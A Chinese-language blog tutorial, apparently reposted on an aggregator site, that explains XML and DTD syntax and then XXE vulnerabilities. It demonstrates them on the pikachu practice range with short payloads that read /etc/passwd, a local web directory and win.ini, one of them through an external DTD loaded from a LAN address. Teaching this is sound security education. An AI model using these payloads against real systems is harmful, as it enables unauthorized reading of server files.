【XXE漏洞安全-全网最详细讲解】

这篇具有很好参考价值的文章主要介绍了【XXE漏洞安全-全网最详细讲解】。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

作者:liku君
公众号:里库的安全日记
博主微信:L2440710476(请备注来意)


一、XXE是什么?

1.XXE简介

XXE(XML External Entity)漏洞是一种安全漏洞,出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作,如读取本地文件、发起远程网络请求或执行任意命令。

XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。攻击者可以通过构造恶意的XML输入,将外部实体(external entity)引用进来,然后利用这些实体来获取敏感信息或进行其他攻击。其中最常见的一种攻击是利用DTD(Document Type Definition)来读取本地文件,通过将file://协议和可访问的文件路径嵌入到XML中,攻击者可以读取服务器上的敏感文件内容。


2.XML简介

XML(可扩展标记语言)是一种用于表示和传输数据的标记语言。它设计用于具有自定义结构的文档和数据的描述,具有跨平台和跨语言的特性。

XML使用标签来描述数据的结构和类型,将数据和标签包裹在起始标签和结束标签之间,形成一个层次结构。例如:

<person>
  <name>John Doe</name>
  <age>30</age>
  <city>New York</city>
</person>

在上面的示例中,<person>是起始标签,</person>是结束标签。<name><age><city>是子标签,它们包含了相应的数据。

XML具有以下特点:

1. 可扩展性:XML允许用户自定义标签和数据结构,因此可以适应各种不同的应用领域和需求。

2. 自我描述性:XML文档具有自我描述性,标签和属性可以提供关于数据的含义和结构的信息。

3. 平台和语言无关性:由于XML采用纯文本格式,因此可以在任何操作系统和编程语言中解析和处理。

4. 可读性:XML文档使用具有可读性的标记和缩进,易于理解和阅读。

XML常用于数据交换和存储,尤其在Web服务、配置文件、数据传输和文档的表示中广泛应用。它提供了一种通用且灵活的方式来组织和传输结构化数据。

二、XML语法

1.XML语法规则

XML 被设计用来传输和存储数据。XML 文档行成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。
XML 允许创作者定义自己的标签和自己的文档结构。

1. 所有的 XML 元素都必须有一个关闭标签
2. XML 标签对大小写敏感
3. XML 必须正确嵌套
4. XML 属性值必须加引号
5. 实体引用
6. 在 XML 中,空格会被保留


2.XML结构

第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧
字符集)。

<?xml version="1.0" encoding="ISO-8859-1"?>
<note> #根元素
<to>George</to> #接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body)
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> #根元素结

3.XML-DTD

拥有正确语法的 XML 被称为“形式良好”的 XML。
通过 DTD 验证的 XML 是“合法”的 XML。
DTD 全称是 The document type definition,即是文档类型定义,通过 DTD 验证 XML 是否合法

1、形式良好的 XML 文档

(1)XML 文档必须有根元素
(2)XML 文档必须有关闭标签
(3)XML 标签对大小写敏感
(4)XML 元素必须被正确的嵌套
(5)XML 属性必须加引号
如下:

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

单独依靠人来检查,太慢了。如何快速的检查 XML 文档是否是形式良好的文档? 需要一个
工具来快速检查 XML ?
这个工具就是 DTD

2、DTD 可定义合法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。
XML 引用 DTD 检查的方法有两种:
一种是直接在 XML 文档中声明并引用;另一种在 XML 中引入一个外部的 DTD 文档

在 XML 文档内部中写 DTD 声明
DTD 被包含在您的 XML 源文件中,它会被包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

例如

<?xml version="1.0" ?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>zhang</to>
<from>kill</from>
<heading>Reminder</heading>
<body> Don't forget me this weekend!</body>
</note>

在 XML 文档内部中引入外部 DTD 文件 note.dtd
外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个

<!DOCTYPE 根元素 SYSTEM "文件名">

例如

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>zhang</to>
<from>kill</from>
<heading>Reminder</heading>
<body> Don't forget me this weekend!</body>
</note>

DTD 文件 note.dtd 中的定义如下


<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

总结:这是内部 DTD 和外部 DTD 的声明
内部中写 DTD 声明中,它会被包装在:<!DOCTYPE 根元素 [元素声明]>
外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个
DOCTYPE 定义中:<!DOCTYPE 根元素 SYSTEM "文件名">


三、XXE漏洞详解

1.XXE漏洞

XXE(XML External Entity)漏洞是一种安全漏洞,存在于使用 XML 解析器解析用户提供的 XML 数据时。漏洞的根本原因是对外部实体引用的不正确处理,导致攻击者可以利用该漏洞读取文件系统中敏感的数据、执行远程请求等操作。

XXE漏洞的攻击原理如下:

1.攻击者构造恶意的 XML 数据,其中包含对外部实体的引用。
2.XML 解析器无法正确处理这些外部实体引用,导致攻击者可以读取任意文件、进行 SSRF 攻击等。
3.攻击者通过修改 XML 数据,获取敏感信息或进行远程请求。

例如

XML内容:
	<?xml version="1.0"?>
	<!DOCTYPE a [
		<!ENTITY % d SYSTEM “file:///etc/passwd”>
        %d;
	]>
	<c>%d;</c>
 

此时c变量读取的值便是/etc/passwd文件的内容

2.漏洞演示

问:该怎么判断是否存在XXE漏洞呢?

答:看是否能够解析XML数据,传入一段XML代码看他能否解析

这是一个pikachu的靶场
xxe漏洞,WEB安全,安全
把xml代码输入进去:

<?xml version = "1.0"?> 
<!DOCTYPE name 
    [ <!ENTITY hacker "test"> ]> 
<name>&hacker;</name>

结果:

xxe漏洞,WEB安全,安全

成功提取到test数据,说明有可能存在XXE漏洞

3.漏洞演示

1.直接外部实体注入,就是通过协议直接执行恶意命令
<?xml version = "1.0"?> 
<!DOCTYPE name 
    [ <!ENTITY hacker SYSTEM "file:///C:/phpstudy_pro/WWW"> 
]> 
<name>&hacker;</name>

结果:

xxe漏洞,WEB安全,安全

2.间接外部实体注入

将恶意代码写在DTD文件中,再引入DTD文件,操作如下:

1.构造外部dtd文件

<!ENTITY hacker SYSTEM "file:///c://windows//win.ini">

2.一个局域网内,能ping通就行
3.构造XML代码文章来源地址https://www.toymoban.com/news/detail-854832.html

<?xml version = "1.0"?> 
<!DOCTYPE name 
    [ <!ENTITY % a SYSTEM "http:///192.168.0.107/xxx.dtd"> 
    %a;
]> 
<hacker>%a;</hacker>

到了这里,关于【XXE漏洞安全-全网最详细讲解】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 独立部署Xray反练平台——详细说明加举例xxe漏洞

    xray——详细使用说明(二)_萧风的博客-CSDN博客 xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:检测速度快。发包速度快; 漏洞检测算法高效。支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持

    2024年02月09日
    浏览(31)
  • Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

    学习资料: (梭哈~) https://www.cnblogs.com/20175211lyz/p/11413335.html https://www.cnblogs.com/zhaijiahui/p/9147595.html https://www.cnblogs.com/r00tuser/p/7255939.html https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==mid=2247489349idx=1sn=ab435be65bc6c35a21ea4bd040693d8csource=41#wechat_redirect https://security.tencent.com/index.php/blog/msg/69

    2024年02月13日
    浏览(27)
  • XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)

    XXE(XML External Entity:xml外部实体注入),它出现在使用XML解析器的应用程序中。XXE攻击利用了XML解析器的功能,允许应用程序从外部实体引用加载数据。攻击者可以通过构造恶意的XML实体引用来读取本地文件、执行远程请求或利用其他可用的外部实体来获取敏感信息。 攻击

    2024年02月10日
    浏览(42)
  • XXE&XML漏洞详解

      参考:https://www.cnblogs.com/bmjoker/p/9452222.html   这里我对XML也不是太懂,无法对其进行解释,同时也怕解释出现错误,使其误导,这里我发一下参考链接。   XML教程   Extensible Markup Language (XML) 1.0   XML文档结构包括XML声明、DTD类型定义(可选)、文档元素,同时X

    2024年02月02日
    浏览(23)
  • XXE漏洞

    XML是一种用于标记电子文件使其具有结构性的可扩展标记语言。 XML是一种灵活的语言,类似于HTML语言,但是并没有固定的标签,所有标签都可以自定义,其设计的宗旨是传输数据,而不是像HTML一样显示数据。 XML声明 DTD文档类型定义 文档元素 CDATA表示包含字符或者文本数据

    2024年02月16日
    浏览(30)
  • XXE漏洞复现步骤

    0X00XXE注入定义 XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导

    2024年02月10日
    浏览(30)
  • Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入

    目录 JavaSec搭建 Hello-Java-Sec搭建 Java安全-SQL注入-JDBCMyBatis JDBC:Java语言连接数据库操作 MyBatis( mybatis是一个优秀的基于java的持久层框架,它内部封装了 jdbc) 代码审计案例:inxedu后台MyBatis注入 Java安全-XXE注入-ReaderBuilder 配置XML允许引入外部解析实体 白盒测试-XXE Java安全-SSTI模版

    2024年04月25日
    浏览(35)
  • XXE-XML实体注入漏洞

    目录 1.xml基础 1.1什么是xml 1.2xml文档结构 1.3  什么是DTD 1.4 什么是实体 1.5 什么是外部实体 2.xxe漏洞 2.1xxe漏洞基本介绍 2.2xxe漏洞的危害 经典漏洞案例分析 3.xxe漏洞挖掘和利用 3.1. 识别潜在的XML入口 3.2. 检查XML处理逻辑 3.3. 构造试探Payload 常见的一般payload  xxe盲注 xxe报错注入

    2024年03月14日
    浏览(67)
  • Apache2-XXE漏洞渗透

    Apache2 Ubuntu Default Page 是一个包含xxe漏洞的页面,如何找到和利用xxe漏洞,并找到flag呢? 首先进行信息收集,nmap是我们的常用工具 靶机地址10.40.2.116 ,可正常访问 在kali中扫描靶机开放端口等信息 可观察到只有80端口开放,没有利用价值 再用dirb扫描目标隐藏文件 dirb http:/

    2024年02月05日
    浏览(46)
  • 用友 GRP-U8 Proxy XXE-SQL注入漏洞

    本篇文章仅限技术学习与安全研究,切勿将文中所涉及的攻击手段用于非授权下渗透行为,造成任何后果与本文和作者无关。 用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府

    2023年04月08日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包